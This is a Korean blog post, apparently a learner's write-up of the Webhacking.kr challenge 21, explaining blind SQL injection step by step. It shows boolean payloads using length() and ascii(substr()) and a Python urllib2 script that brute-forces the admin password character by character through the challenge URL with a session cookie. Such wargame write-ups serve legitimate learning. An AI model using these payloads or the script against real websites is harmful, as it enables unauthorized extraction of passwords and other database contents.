Webhacking.kr 21 --BlindSQL Injection
처음으로 blind sql 인젝션 기법을 배웠습니다. 시간도 굉장히 오려걸렸고 어려웠습니다.
웹 문제를 푼지얼마안되서 웹은 아직 서툽니다. 그래도 포너블보다는 난이도가 쉬운것 같아요~~
1과 2를 입력했을 때 True, 3을 입력했을 때 False, 즉 True와 Flase로만 추측해서 답을 알아가야하는 sql 인젝션 즉 blind sql 인젝션 문제입니다.
여기서 1과 2가 각각 guest, admin인 것은 그동안의 감으로 알 수 있었습니다.
뒤에서 이 감이 확실해 집니다ㅎㅎ
우선 처음에는 어찌해야할지 몰랐습니다. 막 검색을하다가 blind SQL 인젝션 가이드 pdf에서 length()를 이용해서 길이를 구해야 하는 팁을 얻었습니다.(밑에 블로그도 첨부할 것)
1 and length(id) =5
--no=1즉 guest일때(true) and length(id)=5 이면 (true) 즉 and 연산이니까 true and true하면 true, 이 원리를 이용합니다.
1 and length(pw) =1....
마찬가지로 pw의 패스워드 길이를 1부터 찾아가는 과정입니다. 1 and length(pw) =5 에서 true가 떳습니다. 그렇다는건 guest의 password길이가 5라는 뜻이죠
2 and length(id) =1.....
--no는 admin입니다. 이건 뭐 guest의 id가 guest니 당연 no가 2일 때 id는 admin이라고 생각했습니다.
2 and length(pw) =1...
--생략
이렇게 해서 테이블을 만든 것
일단 대략적으로 guest guest는 짝을 이룰것이라고 생각했고, 만약 아니더라도 guest는 필요없고 우리는 admin만을 필요로하기 때문에 admin 테이블을 봐야한다.
no 2 and length(pw) =19 에서 true가 나왔기 때문에 admin의 pw길이는 19입니다.
그럼 어떻게 찾아야 할까요? 저는 이곳에서 많이 해맸습니다.
2 and ascii(subsrt(pw,1,1))=97
이 sql 구문이 무엇일까요?? admin의 pw를 가져와서 인덱스 첫번째 부터 1바이트를 잘라서 ascii로 변환한 값이 97과 같은지 물어보는 구문입니다.
(subsrt(pw,2,1))
-pw문자열을 인덱스 2번째 부터([1]) 1바이트를 자른다.
이제 아시겠죠??
이런식으로
2 and ascii(subsrt(pw,1,1))=97
2 and ascii(subsrt(pw,1,1))=98
2 and ascii(subsrt(pw,1,1))=99
2 and ascii(subsrt(pw,1,1))=100
2 and ascii(subsrt(pw,1,1))=101
2 and ascii(subsrt(pw,1,1))=102
.
.
.
.
.비교하면 얼마나 걸릴까요?? 19번 X 26('z'-'a') 인가요??
맨처음에 이렇게 일일히 비교하다가 문제 포기할뻔했습니다.
그러다가 urllib2라는 파이썬 라이브러리를 이용해서 막 블로그를 뒤져가며 찾아 코딩을 해봤습니다.
- import urllib, urllib2
- password=""
- space="%20"
- for i in range(1,20): #'+str(i)+'
- for j in range(97,128):
- url="http://webhacking.kr/challenge/bonus/bonus-1/index.php?id=&pw=&no="+"2%sand%sascii(substr(pw,%d,1))=%d" %(space,space,i,j)
- req = urllib2.Request(url)
- req.add_header('Cookie','PHPSESSID=자기꺼 넣으세여')
- res=urllib2.urlopen(req)
- if "True" in res.read():
- #print chr(j)
- password +=chr(j)
- break
- print password
제가 작성한 코드지만 이미 다른 블로그에 방법이 다 나와있어서 따로 설명은 하지 않겠스니다. 그냥 저 8번째 줄이 너무나도 암이걸렸습니다.
이렇게 했더니 답이 나왔습니다.
: 많은 블로그를 가봤지만 정말 blind sql 인젝션을 잘 설명해준 pdf입니다. 역시 해커스쿨!!
이렇게 또 어려워서 예전에는 바로 포기했던 문제를 풀게 되었습니다. 올클까지 달려가겠습니다.
0 개의 댓글